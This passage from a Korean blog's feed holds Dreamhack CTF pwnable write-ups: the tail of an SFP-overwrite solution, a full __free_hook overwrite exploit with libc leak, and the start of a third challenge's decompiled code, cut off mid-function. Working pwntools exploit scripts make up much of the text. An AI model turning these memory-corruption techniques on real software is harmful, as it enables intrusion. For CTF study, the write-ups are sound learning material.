</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="nf">Call</span><span class="p">(</span><span class="n">MEONG</span><span class="p">))</span> <span class="nf">Call</span><span class="p">(</span><span class="n">NYANG</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">Win</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">execl</span><span class="p">(</span><span class="s">&#34;/bin/cat&#34;</span><span class="p">,</span> <span class="s">&#34;/bin/cat&#34;</span><span class="p">,</span> <span class="s">&#34;./flag&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">Init</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">Echo</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;nyang 🐱: goodbye!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>코드를 살펴보면 Meong() 함수에서 2바이트 오버플로우가 가능한 것을 알수 있다. 따라서 SFP 변조를 통해 코드의 실행 흐름일 바꿀 수 있을것 같다. Win 함수가 실행되면 flag가 출력되는것 같다.</p>
<p>우선 Meong() 함수에서 \n포함 0x130 길이의 문자열을 입력하면 이 값을 그대로  Nyang()함수에서 사용하기 때문에 printf를 통해 SFP 하위 2자리 값을 얻을 수 있다.</p>
<p>버퍼의 크기는 0x130이고 이를 0x10으로 나누면 13이니 버퍼에 Win 함수 값으로 덮어버렸다. 그렇게 되면 그냥 버퍼에 존재하는 값만 잘 맞춰서 sfp를 조작하면 Win함수로 갈수 있다. 우선 SFP 값을 릭해서 나온 값으로 gdb를 통해 buf 문자열이 포함되는 위치를 찾는다. 버퍼에는 Win 함수 주소값이 연속적으로 들어있어 어느 직점을 찍던 맨 뒷자리가 0 아님 8로 끝나면 코드는 성공한다. 나는 buf의 맨 처음 지점을 계산해 -8을 계산해 sfp를 오버라이트 했다. sfp 공격은 공격자가 입력한 값 +8 의 위치한 코드를 실행하기 때문에 이런 점만 맞춰주면 Win 함수를 실행할 수 있다. (32비트는 +4한 부분을 실행한다. 메모리 사이즈에 따라 64비트는 8, 32비트는 4 만큼의 차이가 있다.)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#c = remote(&#34;host3.dreamhack.games&#34;, 17108);</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./msnw&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;/usr/lib/x86_64-linux-gnu/libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">execFlag</span> <span class="o">=</span> <span class="mh">0x40135b</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">execFlag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">!=</span><span class="mh">0x130</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">execFlag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;meong 🐶: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mh">0x12f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#print(payload)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">leak1</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">leak2</span> <span class="o">=</span> <span class="n">leak1</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00\x00\x00\x00\x00</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;leak : &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">leak2</span><span class="p">))))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;leak : &#34;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">leak2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;: &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">u64</span><span class="p">(</span><span class="n">leak2</span><span class="p">)),</span> <span class="mi">16</span><span class="p">)</span><span class="o">-</span><span class="mh">0x200</span><span class="o">-</span><span class="mh">0x130</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#payload += b&#34;a&#34;*(0x130-len(p64(execFlag)))</span>
</span></span><span class="line"><span class="cl"><span class="c1">#rsp 0x7fffffffde00</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">leak</span><span class="o">-</span><span class="mh">0x8</span><span class="p">)[:</span><span class="o">-</span><span class="mi">6</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">recvall</span><span class="p">())</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN hook</title><link>https://dig06161.github.io/2023/02/07/dreamhack-pwn-hook/</link><pubDate>Tue, 07 Feb 2023 14:30:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/07/dreamhack-pwn-hook/</guid><description>드림핵 포너블 hook 문제풀이</description><content:encoded><![CDATA[<p>dreamhack 크리스마스 CTF 문제중에 hook문제가 있어 같이 풀어봤다. 문제 자체는 드림핵 hook 문제가 난이도도 낮고 코드도 간단하다.</p>
<p>문제파일을 다운받고 압축을 풀면 hook바이너리와 소스코드, libc가 있다. 문제 환경은 ubuntu 16.04로 도커를 사용해 문제를 디버깅 했다. 소스코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">long</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;stdout: %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Size: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%ld&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ptr</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Data: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ptr</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ptr</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">   
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>stdout의 주소를 출력해 주고 malloc하기 위한 사이즈를 입력 받는다. 이후 malloc한 포인터를 ptr에 대입하고 malloc의 사이즈 만큼 read 함수를 통해 ptr에 쓴다.</p>
<p>그 다음, *ptr의 주소에 *(ptr+1)을 대입한다. 그다음 ptr을 두번 free하고 system(&quot;/bin/sh&quot;)를 실행한다. 일단 더블프리 오류로 인해 system함수는 정상적으로 실행이 힘들 것 이다.</p>
<p>여기서 활용할 것은 다음 코드이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ptr</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span></code></pre></div><p>만약 ptr 변수에 read 함수를 통해 0x40000000000000001000000000000000라는 값을 입력 받았다고 가정하자. 위 코드는 ptr의 포인터가 가리키는 함수의 내용을 *(ptr+1)로 바꾸는 코드이다. 따라서 0x40000000000000001000000000000000라는 값을 입력했을 때의 결과는 0x4000000000000000 주소의 값에 0x1000000000000000라는 값을 넣게 된다. 64비트 기반이기 때문에 16사이즈로 잘라서 계산하면 편하다.</p>
<p>그럼 이 기능을 이용해 read 함수를 통해서 p64(free_hook)+p64(*(system(&quot;/bin/sh&quot;)))를 입력하면 free가 실행되기 전 system(&quot;/bin/sh&quot;)를 실행하게 된다. 원샷 가젯을 이용해도 될것 같지만 문제에서 system함수가 존재하기 때문에 이를 이용해 exploit코드를 작성했다.</p>
<p>아래 코드를 이용하면 문제를 쉘을 획득할 수 있다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#c = remote(&#34;host3.dreamhack.games&#34;, 22736)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./hook&#34;</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;LD_PRELOAD&#39;</span><span class="p">:</span><span class="s1">&#39;./libc.so.6&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#c = process(&#34;./hook&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc.so.6&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;stdout: &#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">stdout</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">14</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">main_syscall</span> <span class="o">=</span> <span class="mh">0x400a11</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;stdout : &#34;</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="n">stdout</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">stdout</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;_IO_2_1_stdout_&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;__free_hook&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">free_hook</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Size: &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;400&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;Data: &#34;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN Santa_claus_is_coming_to_town</title><link>https://dig06161.github.io/2023/02/04/dreamhack-pwn-Santa_claus_is_coming_to_town/</link><pubDate>Sat, 04 Feb 2023 09:30:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/04/dreamhack-pwn-Santa_claus_is_coming_to_town/</guid><description>드림핵 포너블 Santa_claus_is_coming_to_town 문제풀이</description><content:encoded><![CDATA[<p>22년도 드림핵에서 진행된 크리스마스 CTF Santa_claus_is_coming_to_town 문제 풀이를 올려보려고 한다. 사실 writeup을 문제풀고 바로 적어야지 내가 했던 삽질들과 어떤 방법으로 접근했는지 적을 수 있는데 시간이 좀 지난 시점이라 이러한 부분이 아쉬울 수 있을것 같다.</p>
<p>일단 문제를 다운 받으면 도커 컨테이너 설정을 위한 도커 파일과 바이너리, 더미 플레그가 존재한다. 우선 도커파일에 정의되어 있는 이미지를 다운받아 살펴보니 ubuntu 18.04버전인 것을 확인했다. libc가 따로 주어지지 않았는데 우분투 18.04버전 libc와 동일했다. 따라서 분석용 도커 컨테이너에 볼륨을 주어 문제를 풀었다.</p>
<hr>
<p>일단 소스코드가 주어지지 않아 기드라를 통해 코드를 디컴파일 해봤다. 아래는 디컴파일 된 main함수이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="n">EVP_PKEY_CTX</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">pvVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">uVar2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">local_1c0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">local_1bc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_1b8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">long</span> <span class="n">local_1b0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">local_1a8</span> <span class="p">[</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">apvStack_1a0</span> <span class="p">[</span><span class="mi">50</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">undefined8</span> <span class="n">local_10</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">init</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_1c0</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_1bc</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_1b8</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_1b0</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">local_1a8</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">400</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">intro</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">print_menu</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_1c0</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_001011a1</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_1c0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">local_1c0</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_1bc</span> <span class="o">=</span> <span class="nf">check_offset</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">local_1bc</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">local_1a8</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">4</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;You haven</span><span class="se">\&#39;</span><span class="s">t written yet.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">Pages : %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span><span class="n">apvStack_1a0</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Contents : %s&#34;</span><span class="p">,</span><span class="n">apvStack_1a0</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">local_1c0</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">local_1c0</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">local_1bc</span> <span class="o">=</span> <span class="nf">check_offset</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">local_1bc</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">local_1bc</span> <span class="o">==</span> <span class="n">local_1a8</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">4</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;You already wrote.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="n">local_1a8</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">local_1bc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;How many lines will to write? (1 line = 16 words) : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_001019ed</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_1b8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="n">local_1a8</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">local_1b8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="n">pvVar1</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="n">local_1b8</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="n">apvStack_1a0</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">pvVar1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">~~~~~~~~~~contents~~~~~~~~~~&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">          <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">apvStack_1a0</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">2</span><span class="p">],</span><span class="n">local_1b8</span> <span class="o">*</span> <span class="mh">0x10</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
